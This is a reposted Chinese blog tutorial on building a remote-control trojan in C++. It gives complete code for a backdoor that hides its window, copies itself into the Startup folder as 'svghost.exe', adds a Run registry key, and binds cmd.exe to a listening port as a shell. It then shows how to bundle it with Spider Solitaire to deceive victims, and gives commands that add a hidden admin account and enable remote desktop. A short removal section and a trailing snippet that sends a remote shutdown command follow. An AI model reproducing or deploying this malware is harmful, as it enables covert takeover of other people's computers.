用c++写一个远程控制木马(转)

声明:本帖仅作技术交流,切莫用于非法用途。否则造成的一切法律责任与作者无关。

使用C++实现一个简单的木马,实现木马的远程控制功能,能够开机自启动和伪装或隐藏,最后通过清除本木马,掌握常规的木马排查和查杀方法。

工具:vc++6.0

攻击机:win10(ip随机) 靶机:192.168.1.129

一、木马是什么?

这是一个老生常谈的问题,木马(Trojan)这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。

二、木马隐藏技术

木马会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的办法。只要把Form的Visible属性设为False,ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了(MFC编程)。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。当然它也会悄无声息地启动,黑客当然不会指望用户每次启动后点击“木马”图标来运行服务端,“木马”会在每次用户启动时自动装载。Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、Win.ini、System.ini、注册表等都是“木马”藏身的好地方。木马与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。

三、木马程序原理:

木马病毒的工作原理:一个完整的特洛伊木马套装程序含了两部分:服务端(服务器部分)和客户端(控制器部分)。植入对方电脑的是服务端,而黑客正是利用客户端进入运行了服务端的电脑。运行了木马程序的服务端以后,会产生一个有着容易迷惑用户的名称的进程,暗中打开端口,向指定地点发送数据(如网络游戏的密码,即时通信软件密码和用户上网密码等),黑客甚至可以利用这些打开的端口进入电脑系统。

四、编写后门型木马:

编写一个反弹shell的木马,能够伪装成其他应用程序(扫雷游戏,或者表白代码等伪装程序),点击运行后能够打开特定的端口(或可使用端口复用技术,更适合与服务器),等待客户端连接,客户端使用telnet后,便可反弹拿到shell,然后为所欲为(创建新的账号密码,远程桌面连接等)。

木马能够实现开机自启动,任务管理器中在应用程序一栏消失,在进程一栏中伪装成其他进程。

1.木马的功能模块图

在这里插入图片描述

2.代码实现各个部分
-开机自启动

windwos有一个自启动文件夹。在 系统启动时会自动运行开始->启动子菜单中的所有项目

在这里插入图片描述

注意:在Documents and Settings文件下有多个文件夹。

Administrator文件夹下的是对当前用户的专有账户生效

All Users文件下是对所有用户生效

所以一般为了方便我们都放在All Users文件下

要想实现它,我这里先介绍两个函数

1)UINT GetSystemDirectory()函数

UINT GetSystemDirectory(LPTSTR lpBuffer,UINT uSize);

这个函数的参数 lpBuffer会返回系统路径,我们提取前面两位就是就可以得到系统分区,例如“C:”

2)DWORD GetModuleFileName()函数

DWORD GetModuleFileName(HMODULE hModule,LPTSTR lpFilename,DWORD nSize);

这个函数是返回我们程序自身的完整路径

完整代码:

#include<windows.h>
#include<stdio.h>
int main(void){
	char FileName[MAX_PATH];//存储程序自身的绝对路径
	char TempPath[MAX_PATH];//存储系统存放路径,主要获取系统盘盘符
	char TempBuffer[MAX_PATH];
	GetModuleFileName(NULL,FileName,sizeof(FileName));
	GetSystemDirectory(TempPath,sizeof(TempPath));
	sprintf(TempBuffer,"%c%c\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\torjan.exe",TempPath[0],TempPath[1]);
	CopyFile(FileName,TempBuffer,TRUE);  //将程序复制到启动文件夹中
return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
-将自己加入注册表启动项

自启动注册表路径有许多,大家可以自己了解一下,最常用的有:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

这里我们选择第一个,来编写代码,我们用到的主要函数只有一个:

///写入注册表///
GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini");//键

GetPrivateProfileStringA(“Main”,“ProcessPath”,FileName,process_path,sizeof(process_path), “.\config.ini”);//值

  • 1
  • 2
  • 3
  • 4

我们分别设置了注册表的键和值,键为:kinni,值为FileName,FileName为木马文件的绝对路径

-开启端口

主要的办法是:建立CSocket开始,然后绑定端口999,接下来监听这个端口,然后接收来自客户端的命令,最后关闭这个CSocket。这是一个比较简单的正向连接后门程序。这个程序之所以说比较简单,系统重启这个木马就会被清除了。

创建socket连接的代码比较简单,大家都会,百度一大堆,就不再解释。

先说个小技巧:因为我们写的cmd木马,整个过程我们都不需要显示出cmd的黑窗窗,所以我们可以把cmd窗口直接屏蔽掉,使用:

//设置链接器选项
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") 
  • 1
  • 2
  • 3

因为我们最后要反弹本地shell给客户端,所以我们要先拿到本地cmd.exe的路径。

//获取CMD路径
	GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
//COMSPEC是代表cmd,获取更多环境变量可以查看一下本函数的更多参数
  • 1
  • 2
  • 3
  • 4

我们将所有代码整合一下,得到完整代码:


#pragma comment(lib,"ws2_32.lib")
//设置连接器选项
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include<windows.h>
#include<stdio.h>
#define MasterPort 999 //定义监听端口

void open_telnet(){
WSADATA WSADa;//用来存储被WSAStartup函数调用后返回的win sockets数据
sockaddr_in SockAddrin;
SOCKET CSocket, SSocket;
int AddrSize;
PROCESS_INFORMATION Processinfo;
STARTUPINFO Startupinfo;
char szCMDPath[255];

//配内存资源,初始化数据
ZeroMemory(&amp;Processinfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&amp;Startupinfo, sizeof(STARTUPINFO));
ZeroMemory(&amp;WSADa, sizeof(WSADATA));

//获取CMD路径
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));

//加载ws2_32.dll
WSAStartup(0x202, &amp;WSADa);

//设置本地信息和绑定协议,建立socket
SockAddrin.sin_family = AF_INET;
SockAddrin.sin_addr.s_addr = INADDR_ANY;
SockAddrin.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

//设置绑定断端口999
bind(CSocket, (sockaddr*)&amp;SockAddrin, sizeof(SockAddrin));

//设置服务器监听端口
listen(CSocket, 1);
AddrSize = sizeof(SockAddrin);

//开始连接远程服务器,并配置隐藏窗口结构体
SSocket = accept(CSocket, (sockaddr*)&amp;SockAddrin, &amp;AddrSize);
Startupinfo.cb = sizeof(STARTUPINFO);
Startupinfo.wShowWindow = SW_HIDE;
Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
Startupinfo.hStdInput = (HANDLE)SSocket;
Startupinfo.hStdOutput = (HANDLE)SSocket;
Startupinfo.hStdError = (HANDLE)SSocket;

//创建匿名管道
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &amp;Startupinfo, &amp;Processinfo);
WaitForSingleObject(Processinfo.hProcess, INFINITE);
CloseHandle(Processinfo.hProcess);
CloseHandle(Processinfo.hThread);

//关闭进程句柄
closesocket(CSocket);
closesocket(SSocket);
WSACleanup();
//关闭连接卸载ws2_32.dll

}

int regedit(HKEY key, const char* reg_name, const char* key_name, const char* key_value)
{
HKEY hkResult;
int ret=RegOpenKeyEx(key, reg_name, 0, KEY_ALL_ACCESS, &hkResult);

if(ret != 0)
	return ret;

ret=RegSetValueEx(hkResult, key_name, 0, REG_EXPAND_SZ, (CONST BYTE*)key_value, 75);

if(ret==0)
{  
	RegCloseKey(hkResult);
	return 0;
}  
else
{  
	return ret;
}

}

int autopen(const char* key_name, const char* process_path)
{
char reg_name[] = “Software\Microsoft\Windows\CurrentVersion\Run”;
return regedit(HKEY_LOCAL_MACHINE, reg_name, key_name, process_path);
}

int main(void)
{

char key_name[100];
char process_path[1024];
///写入启动文件夹
char FileName[MAX_PATH];//存储程序自身的绝对路径
char TempPath[MAX_PATH];//存储系统存放路径,主要获取系统盘盘符
char TempBuffer[MAX_PATH];
GetModuleFileName(NULL,FileName,sizeof(FileName));
GetSystemDirectory(TempPath,sizeof(TempPath));
sprintf(TempBuffer,"%c%c\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\svghost.exe",TempPath[0],TempPath[1]);
CopyFile(FileName,TempBuffer,TRUE);  //将程序复制到启动文件夹中
///写入注册表///
GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name,  sizeof(key_name), ".\\config.ini");
GetPrivateProfileStringA("Main", "ProcessPath", "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\svghost.exe", process_path,  sizeof(process_path), ".\\config.ini");	
int ret = autopen(key_name, process_path);
open_telnet();//远程telnet	
return 0;  

}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
-文件伪装

如上,我们代码编译运行后,得到一个exe文件,但是我们隐藏了命令行窗口,所以点击运行后,不会有任何反应。

但是谁都不会傻到直接运行这么一个什么都没有的代码,我们要跟其他的程序,绑在一起,偷偷执行,让靶机用户不知情。

我们可以从网上找到一些辅助工具,来帮助我们。我找了一款叫做ExeBinder.exe的软件。

在这里插入图片描述

这个程序可以将两个可执行文件捆绑为一个,但是在点击运行的时候,会同时运行两个文件。

对我们的木马来说,简直就是量身定制。

首先,将前面我们提到的功能,做一个封装,写成一个exe文件:叫做torjan.exe

(后面为了伪装效果,更改了程序名为svghost.exe)

再来看看现在的启动文件夹和注册表内容:

在这里插入图片描述

Ok,非常好。

运行一下我们的exe文件

在这里插入图片描述

可以看到启动文件夹和注册表项中,已经添加了。

功能正常,现在我们将它和正常的程序绑在一起,这里选择了蜘蛛纸牌,当然我们可以选择自己写的其他有趣的代码。

在这里插入图片描述

3.木马测试

首先肯定是靶机需要运行一次上面这个木马,才可以连接。

-连接测试

接下来,我们就来测试一下,我们是否能远程连接到靶机。

尝试使用另一台电脑(win10+Powershell)进行连接

在这里插入图片描述

成功弹回了shell。

-靶机观察

运行后,我们观察任务管理器:只显示蜘蛛纸牌,非常nice!

在这里插入图片描述

我们再来看看进程下面,

在这里插入图片描述

-重启再连接

在这里插入图片描述

电脑刚打开,提示开机时间时,已经可以连接到目标。

4.更多操作

我们连接到远程shell后,可以新建一个用户,然后加入管理员组。

net user admin /add    //创建admin 用户 密码为空
net localgroup adminators admin /add    //赋与admin用户,管理员权限
  • 1
  • 2
  • 3

然后开启远程桌面功能(也就是3389端口),连接后将自己这个用户隐藏掉。

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

 
 
  • 1

but…我在这里,并没有开启,原因是命令行提示我参数过多,可能是telnet过来的命令行,有点问题。

大家感兴趣可以自己试试。

五、木马清除

首先,我们需要观察自启动文件夹,将不正常和非必要自启动的程序全部删除。

然后,注册表自启动,所有Run下面的每个键值都要检查,尤其是值为某路径下.exe,你又不知道这个exe是什么,到对应目录查看该文件,删除键值。

清除木马,因为本木马使用了伪装,复制和注册表项,我们需要一一清除:

首先打开任务管理器,关闭蜘蛛纸牌应用程序,从进程中找到svghost.exe所有者为administrator,结束掉该进程;

然后,打开本地C盘启动文件夹,删除svghost.exe程序;

同时,删除本地的捆绑了木马的蜘蛛纸牌(或其他应用);

最后,打开注册表,进入自启动项(有很多,Run下面的都要仔细检查,但是本木马使用了比较经典的位置),HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,删除包含svghost.exe的对应键值关系。

重启电脑。

【写在后面】
*本文获取shell的部分参考了下面的安全牛大佬的帖子:https://bbs.ichunqiu.com/thread-6935-1-1.html

  • 1
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
这个问题涉及到网络编程和操作系统的相关知识,需要用到一些特定的库和API,需要较高的技术水平。以下是一个简单的示例,仅供参考。 首先,我们需要使用以下头文件: ```c++ #include <winsock2.h> #include <ws2tcpip.h> #include <windows.h> ``` 然后,我们需要初始化 Winsock 库: ```c++ WSADATA wsaData; int iResult = WSAStartup(MAKEWORD(2,2), &wsaData); if (iResult != 0) { printf("WSAStartup failed: %d\n", iResult); return 1; } ``` 接下来,我们需要创建一个 TCP 套接字,用于与远程计算机建立连接: ```c++ SOCKET ConnectSocket = INVALID_SOCKET; struct addrinfo *result = NULL, *ptr = NULL, hints; ZeroMemory(&hints, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; // 解析服务器地址和端口 iResult = getaddrinfo("192.168.1.100", "8080", &hints, &result); if (iResult != 0) { printf("getaddrinfo failed: %d\n", iResult); WSACleanup(); return 1; } // 尝试连接到服务器 for(ptr=result; ptr != NULL ;ptr=ptr->ai_next) { // 创建套接字 ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); if (ConnectSocket == INVALID_SOCKET) { printf("Error at socket(): %ld\n", WSAGetLastError()); freeaddrinfo(result); WSACleanup(); return 1; } // 连接到服务器 iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); if (iResult == SOCKET_ERROR) { closesocket(ConnectSocket); ConnectSocket = INVALID_SOCKET; continue; } break; } freeaddrinfo(result); if (ConnectSocket == INVALID_SOCKET) { printf("Unable to connect to server!\n"); WSACleanup(); return 1; } ``` 现在,我们可以使用 ConnectSocket 套接字与远程计算机进行通信。例如,我们可以发送一条命令: ```c++ const char* command = "shutdown -s -t 0"; iResult = send(ConnectSocket, command, strlen(command), 0); if (iResult == SOCKET_ERROR) { printf("send failed: %d\n", WSAGetLastError()); closesocket(ConnectSocket); WSACleanup(); return 1; } ``` 最后,我们需要关闭套接字并清理 Winsock 库: ```c++ closesocket(ConnectSocket); WSACleanup(); ``` 请注意,这只是一个简单的示例,实际情况可能更加复杂,需要根据具体需求进行修改和完善。同时,远程控制电脑会涉及到安全问题,需要谨慎处理,以免被滥用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值